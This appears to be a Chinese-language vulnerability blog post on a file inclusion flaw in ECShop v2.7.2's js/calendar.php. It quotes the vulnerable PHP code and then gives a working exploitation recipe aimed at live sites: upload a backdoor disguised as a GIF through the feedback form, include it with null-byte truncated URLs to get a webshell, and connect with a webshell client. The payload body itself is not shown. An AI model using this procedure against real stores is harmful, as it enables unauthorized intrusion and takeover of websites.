ecshop v2.7.2 漏洞

  • 发表于
  • Vulndb

漏洞分析:
先看下漏洞是怎么产生的!直接看代码:

js/calendar.php
$lang = (!empty($_GET['lang'])) ? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞
if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’)) 
{ 
$lang = ‘zh_cn’; 
}
require(dirname(dirname(__FILE__)) . ‘/data/config.php’); 
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);
include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断

前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。

伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!

网上的exp Url都是这样的 :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。

如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php

直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!

打开你上传后的gif伪图片经过以上漏洞构造的URL <出现E文则成功> <出现中文则失败>

对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)
如果留言文件找不了的话在根目录加: user.php?act=message_list

打开无此页面的话就不可以利用了
gif:

gif89a
 

建立文本粘贴代码,名字为1.gif